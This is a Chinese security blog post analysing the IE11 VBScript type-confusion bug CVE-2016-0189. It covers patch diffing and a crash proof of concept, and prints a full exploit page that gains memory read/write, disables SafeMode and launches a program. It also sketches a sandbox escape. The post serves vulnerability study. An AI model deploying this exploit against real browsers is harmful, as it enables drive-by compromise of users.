导语:今年的6月份,微软在每月的周二补丁日公布了MS16-051的安全更新,修复了影响IE浏览器的一个类型混淆漏洞。
漏洞介绍
今年的6月份,微软在每月的周二补丁日公布了MS16-051的安全更新,修复了影响IE浏览器的一个漏洞。该漏洞是由于MSIE 11浏览器vbScript引擎(vbscript.dll)的类型混淆漏洞造成的(CVE-2016-0189),利用该漏洞的攻击首次出现在韩国。
该漏洞影响的版本是2016年6月补丁日前Microsoft Internet Explorer 11的所有版本。本文将对vbscript.dll的补丁前后进行对比,找到漏洞触发点,并进行EXP构造。
补丁对比
使用BinDiff对补丁前后的vbscript.dll文件进行比对,分别是5月份和4月份的两个版本版本,这次补丁只修改了几个函数而已,修改如下
其中改动最为可疑的就是 AccessArray 函数,我们使用 IDA检查一下这个函数:
4月份VS 5月份
不知道有没有看到区别了,补丁更新的内容是在代码访问之前给数组设置了一个 lock ,其他方面并没有作修改。
接下来看一眼 IsUnsafeAllowed函数里有关安全的策略:
4月份VS 5月份
同样,这里的修改也很明显,补丁前, IsUnsafeAllowed函数调用一个在不测试安全策略情况下永远都会返回0的一个函数。然而在补丁后,这个函数会调用位于 QueryProtectedPolicyPtr 函数指针。函数InitializeProtectedPolicy 会使用 GetProcAddress 函数初始化函数指针。
我们知道了这次的补丁修复了两个已知的漏洞,现在可以根据这两个补丁来编写相应的漏洞利用代码。
漏洞 #1 AccessArray 中缺失的SafeArray lock
在补丁后lock数组中插入的代码中可以看到,这就意味着攻击者可以在访问数组的过程中通过某些手段修改数组,导致部分属性的定义(如 cDims 或 cbElements )会出现不匹配的错误。
... while ( 1 ) { curVar = VAR::PvarCutAll(curVar_); if ( VT_I2 == curVar->vt ) { v14 = curVar->iVal; } else if ( VT_I4 == curVar->vt ) { v14 = curVar->lVal; } else { v22 = 0; v18 = rtVariantChangeTypeEx(curVar, &v22, 0x400, 2, 3u, v20, v21); if ( v18 < 0 ) return CScriptRuntime::RecordHr(a4, v18, v19, v20, v21); v14 = v23; } v15 = v14 - v25->lLbound; // lLbound is always 0 if ( v15 < 0 || v15 >= v25->cElements ) return CScriptRuntime::RecordHr(a4, 0x8002000B, v25, v20, v21); numDim = (numDim - 1); idx = v15 + v11; if ( numDim <= 0 ) break; ++v25; v11 = v25->cElements * idx; curVar_ = (a4 + 16); a4 = (a4 + 16); } *v24 = arr->pvData + idx * arr->cbElements; // cbElements == 16 ...
在主循环中,该代码从数组最右侧开始计算给定的索引数据指针。这里需要注意的是,如果被用于索引的变量类型是 VT_I2 或者 VT_I4 的时候读值方式会略有不同,分别读取 long 和 short 。对于其他变量类型, rtVariantChangeTypeEx 将会调用索引值。当这个函数被给定一个Javascript 对象时,它将会通过所以来找到最终调用对象的 valueOf 的值。通过提供具有我们所选择的 valueOf 函数的对象,我们可以运行任意 VBScript 或 rtVariantChangeTypeEx 内的 Javascript 代码。
// exploit & triggerBug are defined in vbscript var o; o = {"valueOf": function () { triggerBug(); return 1; }}; setTimeout(function() {exploit(o);}, 50);
我们可以通过以上触发脚本来重新定义数组长度。例如,想象一下我们可以使用下面一个二维数组:
ReDim Preserve A(1, 2000)
然后,当我们用类似 A ( 1 , 2 ) 访问这个数组的时候, AccessArray 中的 idx 就会计算成 1 + (2 * (2 – 0)) ,结果为5。
通常情况下,这不会出现什么问题,因为缓冲区里定位的数据是16×2×2001=64032位,然而,这种偏移量将会导致溢出内容被重新定义为较小的一段数据。总而言之,我们可以在当数组定义为 A ( 1 , 1 ) 的时候访问到 A ( 1 , 2 ) 的数据。
通过重复触发这个漏洞,我们很轻松的就可以把我们的攻击代码写入到数组里。得到对象的地址,读取某个地址的内存数据,甚至可以通过重复触发漏洞来复写这部分的数据。
漏洞2 绕过 IsUnsafeAllowed
在补丁前, IsUnsafeAllowed 函数默认返回值为1。因为 COleScript :: OnEnterBreakPoint函数返回值一直为0。补丁之后,程序就会正确的执行 QueryProtectedPolicy 函数,但是仅仅在相应的操作系统中(仅支持Windows8.1以上系统)。
使用 SafeMode 绕过漏洞1和2
默认情况下,IE会自动阻止一些危险脚本的运行。当safemode的的flag标志位为0xE的时候会使用 InSafeMode函数去检测不安全的扩展名(例如”shell.Application”)。幸运的是,我们知道 IsUnsafeAllowed 会一直返回1,所以我们就可以通过修改这个flag的值来利用漏洞1。
下面的poc代码使得内存空间的访问地址无效,导致IE崩溃。第二个数组的大小在函数访问数组的过程中被改为了较小的值。
<html> <meta http-equiv="x-ua-compatible" content="IE=10"> <body> <script type="text/vbscript"> Dim aw Class ArrayWrapper Dim A() Private Sub Class_Initialize ReDim Preserve A(1, 20000) End Sub Public Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Function crash (arg1) Set aw = New ArrayWrapper MsgBox aw.A(arg1, 20000) End Function Function triggerBug aw.Resize() End Function </script> <script type="text/javascript"> alert(1); var o = {"valueOf": function () { triggerBug(); return 1; }}; setTimeout(function() {crash(o);}, 50); </script> </body> </html>
Exploit构造
实现任意内容读写在漏洞利用的时候是最厉害的,为了让exp代码的可读性更强,我们可以在做一些改变:
1. getAddr:触发这个bug,进行对象地址的喷射,接着在内存中寻找地址。 2. leakMem :触发这个bug,顺便读取一下给定地址的内存 3. overwrite :触发bug,同时复写指定地址的内容,方法是通过先修改 CSng ( 0 ) 变量,比如想要开Godmode,只需要把flag改成0x04
有了这些,就可以做下面的一些事:
1. 实例化一些VB脚本类 2. 获取类对象的地址 3. 通过类实例的地址获取 CSession 的泄漏点地址 4. 通过获取 CSession 地址来得到 COleScript 的地址 5. 复写 COleScript 的 SafetyOption
最终exp代码如下:(Win10,IE11测试通过)
<html> <head> <meta http-equiv="x-ua-compatible" content="IE=10"> </head> <body> <script type="text/vbscript"> Dim aw Dim plunge(32) Dim y(32) prefix = "%u4141%u4141" d = prefix & "%u0016%u4141%u4141%u4141%u4242%u4242" b = String(64000, "D") c = d & b x = UnEscape(c) Class ArrayWrapper Dim A() Private Sub Class_Initialize ' 2x2000 elements x 16 bytes / element = 64000 bytes ReDim Preserve A(1, 2000) End Sub Public Sub Resize() ReDim Preserve A(1, 1) End Sub End Class Class Dummy End Class Function getAddr (arg1, s) aw = Null Set aw = New ArrayWrapper For i = 0 To 32 Set plunge(i) = s Next Set aw.A(arg1, 2) = s Dim addr Dim i For i = 0 To 31 If Asc(Mid(y(i), 3, 1)) = VarType(s) Then addr = strToInt(Mid(y(i), 3 + 4, 2)) End If y(i) = Null Next If addr = Null Then document.location.href = document.location.href Return End If getAddr = addr End Function Function leakMem (arg1, addr) d = prefix & "%u0008%u4141%u4141%u4141" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper Dim o o = aw.A(arg1, 2) leakMem = o End Function Sub overwrite (arg1, addr) d = prefix & "%u400C%u0000%u0000%u0000" c = d & intToStr(addr) & b x = UnEscape(c) aw = Null Set aw = New ArrayWrapper ' Single has vartype of 0x04 aw.A(arg1, 2) = CSng(0) End Sub Function exploit (arg1) Dim addr Dim csession Dim olescript Dim mem ' Create a vbscript class instance Set dm = New Dummy ' Get address of the class instance addr = getAddr(arg1, dm) ' Leak CSession address from class instance mem = leakMem(arg1, addr + 8) csession = strToInt(Mid(mem, 3, 2)) ' Leak COleScript address from CSession instance mem = leakMem(arg1, csession + 4) olescript = strToInt(Mid(mem, 1, 2)) ' Overwrite SafetyOption in COleScript (e.g. god mode) ' e.g. changes it to 0x04 which is not in 0x0B mask overwrite arg1, olescript + &H174 ' Execute notepad.exe Set Object = CreateObject("Shell.Application") Object.ShellExecute "notepad" End Function Function triggerBug ' Resize array we are currently indexing aw.Resize() ' Overlap freed array area with our exploit string Dim i For i = 0 To 32 ' 24000x2 + 6 = 48006 bytes y(i) = Mid(x, 1, 24000) Next End Function </script> <script type="text/javascript"> function strToInt(s) { return s.charCodeAt(0) | (s.charCodeAt(1) << 16); } function intToStr(x) { return String.fromCharCode(x & 0xffff) + String.fromCharCode(x >> 16); } var o; o = {"valueOf": function () { triggerBug(); return 1; }}; setTimeout(function() {exploit(o);}, 50); </script> </body> </html>
利用展示如下:
看上去好像我们已经都做完了,但是实际上并没有。
有的人可能会想问为什么不弹个calc出来,因为我们就是想做的跟别人不一样。即使绕过了SafeMode,沙箱的保护模式也会过滤IE进程的一些执行函数的,比如WinExec和CreateProcess。
在注册表的HKEY_LOCAL_MACHINESOFTWAREMicrosoftInternet ExplorerLowRightsElevationPolicy里,有很多注册的键里都是和安全策略有关的,这些策略保护着沙箱模式的安全问题。重要的是列表定义的环境里没法指定特殊程序的运行,这意味着IE就会应用默认的策略,后果就是运行某个特定程序的时候就会弹窗了。
上面已经写的很清楚了,notepad的策略值为3,而cmd的策略值为0,这个是无法启动的。
而且,从windows 8.1开始,计算器这个工具已经运行在了AppContainer里。不过我们还是可以运行一些没有定义安全策略的软件,比如wordpad(写字板),当然也是会弹窗:
这里只有点了Allow,IE才能在子进程里运行Wordpad:
当然我们也可以绕过这个弹窗的提示,具体的做法也是参考了几年前ZDI组织向微软上报了的一个bug。
漏洞的原理是中权值等级程序的子进程在沙箱环境里可以执行任意代码。具体内容可以看ZDI这篇博客。主要思想是使用IE对内联网localhost的信任,首先在本地创建一个服务器,然后让IE以低进程权值去访问这个服务,从而达到代码执行的目的。
看一下ZDI博客的图解,可以更详细直观了解一下:
ZDI-14-270
我们主要使用这个PoC当中的一些技术来躲避沙箱的检测。